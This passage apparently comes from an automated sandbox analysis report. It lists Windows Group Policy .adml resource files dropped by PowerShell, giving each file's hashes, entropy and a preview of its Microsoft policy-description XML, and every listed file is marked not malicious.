that restriction.....If

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Snis.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	4.846146849523547
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKmZRbhuTOk1/hK82bGGrTFwbXOxJhK8hTwJkxwXzNCSFV:LeD5pmCZlhuykphr2bGGrTFwb+7hrhT8
MD5:	80C54C63C7D081F9C7D7738D50F1D92A
SHA1:	11ECD72C962D4B9F90E158A8D0D9544A3101D6A0
SHA-256:	D764EA69BA0C9BF3B83D8D497820419A8EC755B4A81C4394DB5A73C6FF19CDFB
SHA-512:	D82E63819C06EBAE7A2E0BD8B9CD879D766EA18A4B2B2CAB3E38A2ECF8D585E40C0F2EF89FD59781B3D6A6152AC65C40A2FEC966BB37151F8DA3CFEA8AD4ED22
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Snis">Server for NIS</string>.. <string id="Snis_LoggingLevel">Turn on extensive logging for Active Directory Domain Services domain controllers that are running Server for NIS</string>.. <string id="Snis_LoggingLevel_Help">This policy setting allows an administrator to configure extensive logging for computers that are running Server for Network Information Service (NIS).....If you enable this policy setting, intermediate steps of NIS map updates or propagations, and whether map updates are successful, a

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Snmp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5042
Entropy (8bit):	4.799259798850357
Encrypted:	false
SSDEEP:	96:LeD5pm4bGHevi6cwIJyoKbT6c0Jyovt46cwnJyoPlV:EJHi65MKf6JF4655PH
MD5:	C5F44A83C74633615BB7005A8530B912
SHA1:	63AFE83576A32B083EFA4003A95CD82A66461FDC
SHA-256:	205A6CCFF312FB39D59B754925B871CA51845DEB5224EC0BF41B48BE64589C7D
SHA-512:	A11028E185B061A2F42849F09CBB50AA75D0B6FB25650A65C1099CC33E5CEFD024B870F0E3E5C39C1B632DCDC9B4AB7526D5A29DD5DF1E33BABB45AA31D6F4AC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SNMP_Communities">Specify communities</string>.. <string id="SNMP_PermittedManagers">Specify permitted managers</string>.. <string id="SNMP_PermittedManagers_Help">This policy setting determines the permitted list of hosts that can submit a query to the Simple Network Management (SNMP) agent running on the client computer.....Simple Network Management Protocol is a protocol designed to give a user the capability to remotely manage a computer network by polling and setting terminal values and monitoring ne

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SoundRec.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	4.968946981075251
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yef8kxNxVhSexuCvLeKF47q8wFV:cgeD5x8gm8fKR8kNxVPcCzeo4XwFV
MD5:	9C112ED54F6D15614FBA9B6AA1CDFBB0
SHA1:	1F3FFFEA352DC383AA91DFC61290B95218910B59
SHA-256:	F44E48D84C8A5914AAEBC31206F09194DC1041F3DEA70AD7ECD0E402EE3DF165
SHA-512:	E60C57BC46963AC5A09F9C7EA82A23A5E06155D4FF0417EE5A0672B7CB053F62D8765FF807FCE58F2EBF15AB835C942B45089DE2A12B5ED3B5CA7C63D62A8941
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Soundrec_DiableApplication_TitleText">Do not allow Sound Recorder to run</string>.. <string id="Soundrec_DisableApplication_DescriptionText">Specifies whether Sound Recorder can run.....Sound Recorder is a feature of Microsoft Windows Vista that can be used to record sound from an audio input device where the recorded sound is encoded and saved as an audio file.....If you enable this policy setting, Sound Recorder will not run.....If you disable or do not configure this policy setting, Sound Recorder can be ru

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\StartMenu.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (491), with CRLF line terminators
Category:	dropped
Size (bytes):	54118
Entropy (8bit):	4.666836415862256
Encrypted:	false
SSDEEP:	768:kpbzNqeMWd095QOJzSqREFzK1HF/KPCyFqcJjkOme8j:kp/xMWd095QKz9oPCyUh
MD5:	41F89434F7FD242C4772AFB8152909BD
SHA1:	BCC3FC1A4CAE549D934AC9C18C61E4C956E275B7
SHA-256:	030E413AF912FFCBFDB98B2E96A898B6826F7653C1ED021F4CEEDCC7B8C2127E
SHA-512:	27C9BFBF15C3B7BF41A4030094F7B588ED531C2EFB4517E5F9F51A82F55E87BB6C58A9C020C9CF35BFFFD953EE91B39115A4D766C29873ADBE95B448E551EF6E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ClearRecentProgForNewUserInStartMenu">Clear the recent programs list for new users</string>.. <string id="ClearRecentProgForNewUserInStartMenu_Help">If you enable this policy setting, the recent programs list in the start menu will be blank for each new user.....If you disable or do not configure this policy, the start menu recent programs list will be pre-populated with programs for each new user.</string>.. <string id="NoGamesFolderOnStartMenu">Remove Games link from Start Menu</string>.. <string i

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\SystemRestore.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2647
Entropy (8bit):	4.731629807407312
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKJzpQytkh9hyLbSTW3bvkKh+HAskRcHGhwHSbzURJ1amFV:LeD5pm1J+cbeKhjREVbFFV
MD5:	F0306B958EC9DAF0C4E5D2BA8355A02E
SHA1:	970411B4074BB88CDC75E6CA63D83B51FD6220E3
SHA-256:	79B2C3CA033B5CCECB7D24032FFBF7A718EC34BAF4C8BA66E862917337B9FBB5
SHA-512:	32777DE33CE98BE7333D9045D8E1033E629160AD7CC205B6CCA1523F2E6886CBEE20F3682D59D315B949B35481711E8B8A6EA7399BD0137A83496D800BC6882E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="SR">System Restore</string>.. <string id="SR_DisableConfig">Turn off Configuration</string>.. <string id="SR_DisableConfig_Help">Allows you to disable System Restore configuration through System Protection.....This policy setting allows you to turn off System Restore configuration through System Protection.....System Restore enables users, in the event of a problem, to restore their computers to a previous state without losing personal data files. The behavior of this policy setting depends on the "Turn o

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TPM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (751), with CRLF line terminators
Category:	dropped
Size (bytes):	19376
Entropy (8bit):	4.677466344688263
Encrypted:	false
SSDEEP:	384:qPHRyQKHBVDkb+wRZtGixXgixyeMJgKzX1SR7YK9q/:qPHgQyPIbBRZtGYXgYYGKUg
MD5:	62D34160550F61471F77F778AA1280CA
SHA1:	2D681645F48460DBA0875917CBF1D2EA0970A161
SHA-256:	62154D9046066523B2833A380FB4A6841AB369D4E7502D1EF8AD93462E0CCE12
SHA-512:	0ACBF5E61FFB9E1F18496F6713F865E392E92CE613CFC143DAF254F63101CB1B0C0FAF16931B111BF1E47E7206B4676079371BCCD6A25543EA6A18AD676B9590
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDirectoryBackup_Help">This policy setting allows you to manage the Active Directory Domain Services (AD DS) backup of Trusted Platform Module (TPM) owner information. ....TPM owner information includes a cryptographic hash of the TPM owner password. Certain TPM commands can only be run by the TPM owner. This hash authorizes the TPM to run these commands. ....If you enable this policy setting, TPM owner information will be automatically and silently backed up to AD DS when you use Windows to set or change a TP

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TabletPCInputPanel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (416), with CRLF line terminators
Category:	dropped
Size (bytes):	14958
Entropy (8bit):	4.684169671948835
Encrypted:	false
SSDEEP:	192:ErZjCAOTCAClCIkwgLtL99S6hOmL0wD4mHAwq8Qh5Kxk4kxgxWx+FNPUX0E:XAZALIYLtL9ILa8blKxk4kxgxWxFkE
MD5:	0F06155D65FCA728F2D46F0A96F4801B
SHA1:	E8D67D09DF0AED3FC5AED0832D901F31830D8A8C
SHA-256:	C170A92E97B43769613F0217D452B39D28A856AD93E95C0CD2E9A40FCC04E6A0
SHA-512:	62DAF44885B775BB39F4E38F5188F0FD2096C78A0F5328451F239D78E4F9325224A8A0AAF769DDA8127CCD879F32F6A012B896E01AABAD8133D738B77B54528D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AutoComplete">Turn off AutoComplete integration with Input Panel</string>.. <string id="AutoCompleteExplain">Turns off the integration of application auto complete lists with Tablet PC Input Panel in applications where this behavior is available.....Tablet PC Input Panel is a Tablet PC accessory that enables you to use handwriting or an on-screen keyboard to enter text, symbols, numbers, or keyboard shortcuts.....If you enable this policy, application auto complete lists will never appear next to Input Panel.

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TabletShell.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (546), with CRLF line terminators
Category:	dropped
Size (bytes):	6673
Entropy (8bit):	4.787936688249674
Encrypted:	false
SSDEEP:	96:LeD5pmXFnAAWTYvS60sTs2ssufgMA7I16D4K9OuNtFV:E6SCKi78DK9XNtn
MD5:	166E80C965CED6606C2DA93D9A03B421
SHA1:	A7651889CBFEF22000E75B348428689C0E755BF7
SHA-256:	88F472A0DA1243EA84662AE4D730D6B86EE53E1901D7CC73EEA724218BD9EBE4
SHA-512:	0CB95E31997AF6E77C155081FCA24FBDE9B401944251ED0D3C04F4A35F017BC3BBB4CFAEEEA8175D56C64CA9352F84DFC45827D76C0DB95CBE314F562C3C4CE0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Accessories">Accessories</string>.. <string id="Cursors">Cursors</string>.. <string id="DisableInkball">Do not allow Inkball to run</string>.. <string id="DisableInkball_Help">Prevents start of InkBall game.....If you enable this policy, the InkBall game will not run.....If you disable this policy, the InkBall game will run.....If you do not configure this policy, the InkBall game will run.</string>.. <string id="DisableJournal">Do not allow Windows Journal to be run</string>.. <string id="

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TaskScheduler.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (579), with CRLF line terminators
Category:	dropped
Size (bytes):	7038
Entropy (8bit):	4.643182607339355
Encrypted:	false
SSDEEP:	192:Ey3uDxqKgSDQ0DiMDoK5DuJW+ibACSYZCn:rWYaQ0Pnu4PjSZ
MD5:	09BB6BBD535E6B16043D7DE703670523
SHA1:	3E7743A2557844CCCC6E5AE42827E676577FE9F4
SHA-256:	00250A97BC62D5C01E534907317937337008B28110DD7AB88A5D32AA347A3B9E
SHA-512:	118B1B0C181AD2DD89955BFDB828E10381F481B81321295AF016A2536B86A26F302F20DFC542974CD512C48F9F2B080CE482D08031BB9B2033328267BF093DD9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowBrowse">Prohibit Browse</string>.. <string id="AllowBrowseHelp">Limits newly scheduled to items on the user's Start menu, and prevents the user from changing the scheduled program for existing tasks.....This setting removes the Browse button from the Schedule Task Wizard and from the Task tab of the properties dialog box for a task. Also, users cannot edit the "Run" box or the "Start in" box that determine the program and path for a task.....As a result, when users create a task, they must select a progra

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Taskbar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (325), with CRLF line terminators
Category:	dropped
Size (bytes):	11395
Entropy (8bit):	4.633029483097701
Encrypted:	false
SSDEEP:	192:EytLqsKeNTdPL5M8R1QfkSK1GOROjzazDzLh5/Cbl4Zgx9IQCmJwgjRLEJn:zM8R1QiGwCCDhtS41
MD5:	B04329C131F6270E21143E3A48884E73
SHA1:	21A2CA3E301813810D7B3874D625C4FABC5DD96A
SHA-256:	17A7E0C29F6FAD55F06306ECE4251A6BF7D40BB30C3178385D01CFFC805A1164
SHA-512:	E50307FA3358D4CAC0C2CE8C5DFD568DDC0795E07DD38A5F655C6BF0F2F071B8D5479D6F89483959054B7256E0BCB09631F8E902B64F0F19CBB051030815633E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="HideSCABattery">Remove the battery meter</string>.. <string id="HideSCABattery_Help">This policy setting allows you to remove the battery meter from the system control area.....If you enable this policy setting, the battery meter is not displayed in the system notification area.....If you disable or do not configure this policy setting, the battery meter is displayed in the system notification area.</string>.. <string id="HideSCANetwork">Remove the networking icon</string>.. <string id="HideSCANetwor

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TerminalServer-Server.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (495), with CRLF line terminators
Category:	dropped
Size (bytes):	19641
Entropy (8bit):	4.878122311324998
Encrypted:	false
SSDEEP:	384:HTFGnX5V42B4kc7w3p98BlDJQ2yhfOBV41eCFksM08wjblv:HTI5/b2KfSiNbh
MD5:	F835CA2B1226B25600345F974B8706C4
SHA1:	1B7BA254D3835BA025A8D68A8AC757019081AA09
SHA-256:	E827705FA042FDD68C493B5F0159FE68B10F6B310C957A7F23F45F20DB14666E
SHA-512:	183483215CAE2BA72A226AC50F6057D566A23E411C3BAABF0BBBBB6145046E85049F4B526CDA4591C145F6A92AB75567661885EDCECCE13B60EC0C00DD8E28FA
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TS_APP_COMPATIBILITY">Application Compatibility</string>.. <string id="TS_APP_COMPATIBILITY_Help">Controls application compatibility settings on an RD Session Host server</string>.. <string id="TS_TIME_ZONE">Allow time zone redirection</string>.. <string id="TS_TIME_ZONE_EXPLAIN">This policy setting allows you to specify whether the client computer redirects its time zone settings to the Remote Desktop Services session.....If you enable this policy setting, clients that are capable of time zone redir

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TerminalServer.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (638), with CRLF line terminators
Category:	dropped
Size (bytes):	127562
Entropy (8bit):	4.836430182678649
Encrypted:	false
SSDEEP:	1536:9h4lfgUCtmBM22pFN8z0u753oq+I/jIqGUZRGUCFUvyP+YA4RhVjn:9hrtHrzGDiI/jIqGYRGQi3Vjn
MD5:	3602B346F09097D79EAA8029915B67F9
SHA1:	4BB802511857288C2ADA07AD532CB19E7CD5CD9D
SHA-256:	FF74BE25815C0CA023FAD48EA35E6FA32566065485534D01842D617EB39F8ACE
SHA-512:	77DDACF30B5D72A159A726FE040218F25D8E902C58CAE6D100F8B01255415C461C55A3645F643FB52D63B8079F0FCE6107CB96358EBBC7141A380D445C4B195A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TS_SUPPORTED_Windows8_or_ARM">At least Windows 8 or Windows RT</string>.. <string id="TS_SUPPORTED_Windows8_Server">At least Windows Server 2012 R2</string>.. <string id="TS_SUPPORTED_Windows8_Enterprise_AND_Server"> At least Windows 8 Enterprise or Windows Server 2012 R2</string>.. <string id="TS_SUPPORTED_ONLY_Windows7_OR_SERVER2K8R2">Windows 7 or Windows Server 2008 R2 (and their subsequent Service Packs) only</string>.. <string id="TS_SUPPORTED_ONLY_LEGACY">Windows Server 2008 R2, Windows Se

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Thumbnails.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2359
Entropy (8bit):	4.864135463263543
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKlmesQ6SmH6Se6dSGH6crboeoO6S86Ss6dS6H6cr3DJUlptRdpEFV:LeD5pm5mZymDm8rboB8OwAr3DJUlfv2n
MD5:	9DDDBE09EE87B401376670F58F52B8CB
SHA1:	3E3D3EFB918717C290B5E1FAAA19721160449A05
SHA-256:	36E567DB6F269F42865BC122835CBF10C7DE187AFF70BA93BA81C045486A134A
SHA-512:	10A5388C2C26BCAB4E38A9507A958BA2A33A09184F003632C51C9405376E43CE27E96C3F7812C51766DD71855ACD81F1ACF4B096EA263F44C2B9623663C04738
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableThumbnails">Turn off the display of thumbnails and only display icons.</string>.. <string id="DisableThumbnails_Help">This policy setting allows you to configure how File Explorer displays thumbnail images or icons on the local computer.....File Explorer displays thumbnail images by default. ....If you enable this policy setting, File Explorer displays only icons and never displays thumbnail images.....If you disable or do not configure this policy setting, File Explorer displays only thumbnail images.<

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\TouchInput.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2055
Entropy (8bit):	4.807218997990388
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKKU6oYecyziGWMlHqf+encFV:LeD5pm9HAd+FV
MD5:	9562339E02D38BECE2D7D3C89EE47766
SHA1:	1512A1230E2585B62FB78E1EE9E147FBCCF91D8F
SHA-256:	A376991D45DD68CD83E2A76C75F136B75033FDE16297EC2868755268AF2869E2
SHA-512:	531900F6AAADECA8DEF9C70F2E2D9A1A930237EE3E74CB1CF1172A2637DB340382E5108BD138F701CB533643EEA2514C2C43A1CC373B7F1EEB2FF103BCBF4AD5
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="TouchInput">Touch Input</string>.. <string id="TouchInputOff">Turn off Tablet PC touch input</string>.. <string id="TouchInputOff_Help">Turn off Tablet PC touch input....Turns off touch input, which allows the user to interact with their computer using their finger.....If you enable this setting, the user will not be able to produce input with touch. They will not be able to use touch input or touch gestures such as tap and double tap, the touch pointer, and other touch-specific features.....If you disabl

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\UserProfiles.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (658), with CRLF line terminators
Category:	dropped
Size (bytes):	43896
Entropy (8bit):	4.667568456685799
Encrypted:	false
SSDEEP:	768:FkIqBn46Y+xwhTjlMIbNzjWtqqnOTLTn8Gu/:Fkze+xwhTjlPWttSvnnA
MD5:	5F55E2D434E9BE9D2AC4108C2AE42106
SHA1:	6785C7EF4F183004F4F9CCF9D383DABF8914BFF3
SHA-256:	D9459CCAD7106CC5A8665076C9D74C39D211D11A6F33870385528389826264D9
SHA-512:	6109AEFDA8D656767F0A00C75F2241A454D85AA51B36338E1F5103A96BD32BB5B6571183132FD2468AE74A298623E7000A6F1C94F5760E55C92EB6DD01537BB0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AddAdminGroupToRUP">Add the Administrators security group to roaming user profiles</string>.. <string id="AddAdminGroupToRUP_Help">This policy setting adds the Administrator security group to the roaming user profile share.....Once an administrator has configured a user's roaming profile, the profile will be created at the user's next login. The profile is created at the location that is specified by the administrator.....For the Windows XP Professional and Windows 2000 Professional operating systems, the defa

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\VolumeEncryption.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (1087), with CRLF line terminators
Category:	dropped
Size (bytes):	97809
Entropy (8bit):	4.865980267514194
Encrypted:	false
SSDEEP:	1536:yF3hamxu6iF2VflT2VfD7oaV6Z32VfDt2Kn+DZcZy:NYTNR96Zy
MD5:	11CDF6A637203126A5F35982F599C1AF
SHA1:	6E92BB3C55BAD050302EAFD9C7A722798B9FC0F1
SHA-256:	CC9BCBDB2FBBD9B3A529CFEFAEE37231BE9D712840E0FBD456D8AF9947E15F14
SHA-512:	AB39EA7CE5C379C90D4BAF6F4C506CDBDA17F29D75050CA10E713275EFAB609E0FBCD2B08E3D80E3F8EDCB410192B96C272789D10C1B71D9698B58BD75C6FE4A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDirectoryBackup_Help">This policy setting allows you to manage the Active Directory Domain Services (AD DS) backup of BitLocker Drive Encryption recovery information. This provides an administrative method of recovering data encrypted by BitLocker to prevent data loss due to lack of key information. This policy setting is only applicable to computers running Windows Server 2008 or Windows Vista.....If you enable this policy setting, BitLocker recovery information is automatically and silently backed up to AD

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\W32Time.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (721), with CRLF line terminators
Category:	dropped
Size (bytes):	16499
Entropy (8bit):	4.944041721958569
Encrypted:	false
SSDEEP:	384:A/mnOQzg68GwhRsw6uHGtY2PQJyGizYTO2jF4TTt:JnORtuYTOmF4TTt
MD5:	7FAF3A73C8DBAE90E511742BBB51AADD
SHA1:	D651E3B70B5C8A6CE7FDCD92D15189CB6880A361
SHA-256:	B62D8648EB65A947AE783F67A0E3F2276545DF1CD265CF4AA513DC53DF6882E0
SHA-512:	74A1533992353ADFD8E33365AE91DC7CF914A488D5E406D537344FE6F3565AB669DF221082E96DE47E172A4916B695B27499E129BAA9C8FB9B51C9EB264196BD
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="W32TIME_CONFIG_EXPLAIN">This policy setting allows you to specify Clock discipline and General values for the Windows Time service (W32time) for domain controllers including RODCs.....If you enable this policy setting, you can specify the following Clock discipline, General and RODC parameters for this service.....If you disable or do not configure this policy setting, Windows Time service uses the defaults of each of the following parameters.....Several of the following values are scalar, which means that they on

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\WCM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (583), with CRLF line terminators
Category:	dropped
Size (bytes):	5728
Entropy (8bit):	4.528195330790601
Encrypted:	false
SSDEEP:	96:LeD5pmuOd2s+XGRFUv41c845cJ6RygNEfHZbWvK64kqo5UidD/PPTifE8h2WNOFV:EdOd2/XGbbqcSlNEf5CvWo5Ui9/n+MGW
MD5:	7D5B3A4F151213CB0EFDACFA335A6AA3
SHA1:	F36C9F3F58804077CE1AB9D41B29073D1E988752
SHA-256:	5EC9152E44738D44848AB532D269EC0D51612FD60B5FA8A7A3D53DC0395164A2
